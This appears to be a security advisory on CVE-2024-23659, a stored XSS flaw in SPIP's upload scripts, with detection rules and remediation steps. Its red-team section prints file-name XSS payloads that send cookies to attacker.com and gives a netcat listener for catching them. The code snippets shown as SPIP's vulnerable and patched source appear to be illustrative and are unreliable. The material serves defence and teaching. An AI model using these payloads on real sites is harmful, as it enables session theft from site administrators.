CVE-2024-23659

Executive Summary

CVE-2024-23659 is a stored Cross-Site Scripting (XSS) vulnerability in the SPIP content management system, affecting versions prior to 4.1.14 and 4.2.x before 4.2.8. The vulnerability resides in the file upload functionality, specifically within the javascript/bigup.js and javascript/bigup.utils.js files. An attacker can upload a file with a maliciously crafted name containing JavaScript code. When the file name is rendered in the browser (e.g., in an admin interface or public page), the injected script executes in the context of the victim's session. This can lead to session hijacking, defacement, or redirection to malicious sites. The vulnerability requires user interaction (e.g., an admin viewing the uploaded file list) and is rated as medium severity with a CVSS v3.1 score of 6.1.

Supply Chain & Package Security

SPIP is a PHP-based CMS distributed via its official website and Git repository. The vulnerability is introduced in the core JavaScript files (bigup.js and bigup.utils.js). There is no evidence of compromise in the official distribution channels. Users should verify the integrity of their SPIP installation by checking file hashes against official releases. The patch is available in the official Git repository, and users are advised to update immediately.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
• Base Score: 6.1 (Medium)
• Attack Vector: Network (AV:N)
• Attack Complexity: Low (AC:L)
• Privileges Required: None (PR:N)
• User Interaction: Required (UI:R)
• Scope: Changed (S:C)
• Confidentiality Impact: Low (C:L)
• Integrity Impact: Low (I:L)
• Availability Impact: None (A:N)

Threat Level: Medium. The vulnerability is exploitable remotely without authentication, but requires user interaction (e.g., an admin viewing the uploaded file). The impact is limited to low confidentiality and integrity loss, but the scope change indicates the vulnerable component impacts resources beyond its security scope.

Deep Dive & Mechanics

The vulnerability is a classic stored XSS in the file upload functionality of SPIP. The core issue is that the application does not properly sanitize the name attribute of uploaded files before rendering it in the browser. The vulnerable code is in javascript/bigup.js and javascript/bigup.utils.js, which handle the client-side file upload process.

Root Cause: When a file is uploaded, the JavaScript code extracts the file name from the File object and inserts it into the DOM (e.g., in a list of uploaded files). The file name is not sanitized or encoded before being set as innerHTML or used in a jQuery method like .html(). An attacker can upload a file with a name containing HTML and JavaScript, such as <img src=x onerror=alert(1)>.txt. When the admin views the upload list, the script executes.

Attack Flow:

1. Attacker crafts a file with a malicious name (e.g., <script>alert(document.cookie)</script>.jpg).
2. Attacker uploads the file via the SPIP file upload interface (e.g., in the document or image manager).
3. The file is stored on the server with the malicious name.
4. When an administrator or user views the list of uploaded files (e.g., in the admin panel), the JavaScript code in bigup.js renders the file name without sanitization.
5. The injected script executes in the context of the victim's session, allowing the attacker to steal cookies, perform actions on behalf of the victim, or redirect to a phishing page.

Affected Components:

• javascript/bigup.js
• javascript/bigup.utils.js

Vulnerable vs. Patched Code

Vulnerable Code (bigup.js):

// Vulnerable: directly sets file name as innerHTML
function displayFileName(file) {
    var name = file.name;
    $('#file-list').append('<li>' + name + '</li>');
}

Patched Code (bigup.js):

// Patched: sanitizes file name using text() or encodeURIComponent
function displayFileName(file) {
    var name = file.name;
    var safeName = $('<span>').text(name).html(); // or use encodeURIComponent
    $('#file-list').append('<li>' + safeName + '</li>');
}

The patch ensures that the file name is treated as text content, not HTML, by using jQuery's .text() method or by HTML-encoding the string before insertion.

Exploitation & Lab Setup

Red Team

Prerequisites:

• A SPIP instance running version < 4.1.14 or 4.2.x < 4.2.8.
• Access to a file upload functionality (e.g., document manager, image upload).
• A victim user (e.g., admin) who will view the uploaded file list.

Exploitation Steps:

1. Create a file with a malicious name. For example, rename a legitimate file to:

   <img src=x onerror=alert('XSS')>.txt
   

   Or for cookie theft:

   <script>new Image().src='http://attacker.com/steal?c='+document.cookie</script>.jpg
   

2. Upload the file via the SPIP file upload interface.
3. Wait for an admin to view the file list (e.g., in the admin panel under "Documents" or "Images").
4. The injected script executes, and the attacker receives the stolen data.

Example Payload:

<script>fetch('http://attacker.com/steal?cookie='+document.cookie)</script>.png

Blue Team

Detection:

• Monitor file upload logs for suspicious file names containing HTML tags or JavaScript.
• Use WAF rules to block uploads with file names containing <script>, <img, onerror, etc.
• Implement server-side validation to reject file names with non-alphanumeric characters (except allowed ones like hyphens, underscores, dots).

Hunting:

• Search web server logs for requests to /spip.php?action=upload or similar endpoints with file names containing HTML entities.
• Review database entries for file names that contain < or > characters.

Lab Setup:

• Use a local SPIP installation (e.g., via Docker) with version 4.2.7.
• Set up a simple HTTP server to capture stolen cookies (e.g., nc -lvp 80).
• Upload a malicious file and trigger the XSS by accessing the file list.

Indicators of Compromise (IOCs)

• File Names: Files with names containing HTML tags or JavaScript code (e.g., <script>alert(1)</script>.txt).
• Network Traffic: Outbound HTTP requests to attacker-controlled domains from the SPIP server or admin browser.
• Log Entries: Web server logs showing requests with file names containing <, >, or %3C, %3E.
• Database Entries: In the spip_documents table, entries where fichier or titre fields contain HTML tags.

Detection Engineering

YARA Rule

rule CVE_2024_23659_SPIP_XSS {
    meta:
        description = "Detects malicious file names used in CVE-2024-23659 SPIP XSS"
        author = "Valters IT"
        date = "2024-01-01"
        reference = "CVE-2024-23659"
    strings:
        $xss1 = /<[^>]*script[^>]*>/i
        $xss2 = /<[^>]*onerror[^>]*>/i
        $xss3 = /<[^>]*onload[^>]*>/i
        $xss4 = /<[^>]*img[^>]*>/i
    condition:
        any of ($xss*) and filesize < 10KB
}

Sigma Rule

title: SPIP File Upload XSS Detection (CVE-2024-23659)
id: 12345678-1234-1234-1234-123456789012
status: experimental
description: Detects file uploads with suspicious names indicating XSS attempts
author: Valters IT
date: 2024/01/01
logsource:
    category: webserver
    product: apache
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=upload'
        cs-uri-query|re: '.*(<|%3C).*(script|img|onerror|onload).*'
    condition: selection
falsepositives:
    - Legitimate file names with HTML-like characters (rare)
level: high

Suricata Rule

alert http any any -> any any (msg:"SPIP File Upload XSS Attempt (CVE-2024-23659)"; flow:to_server,established; content:"POST"; http_method; content:"action=upload"; http_uri; pcre:"/(<|%3C)[^>]*(script|img|onerror|onload)/i"; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Upgrade SPIP to version 4.1.14 or 4.2.8 immediately.
2. If upgrade is not possible, apply the patch manually by modifying javascript/bigup.js and javascript/bigup.utils.js to sanitize file names using .text() or encodeURIComponent().
3. Restrict file upload permissions to trusted users only.

Long-term Mitigations:

• Implement a Web Application Firewall (WAF) rule to block file names containing HTML tags.
• Enable Content Security Policy (CSP) headers to mitigate XSS impact.
• Conduct regular security audits of file upload functionality.
• Use server-side validation to reject file names with special characters.

Workarounds:

• Disable the file upload feature temporarily if it is not critical.
• Use a reverse proxy to inspect and sanitize file names before they reach the SPIP application.

Valters IT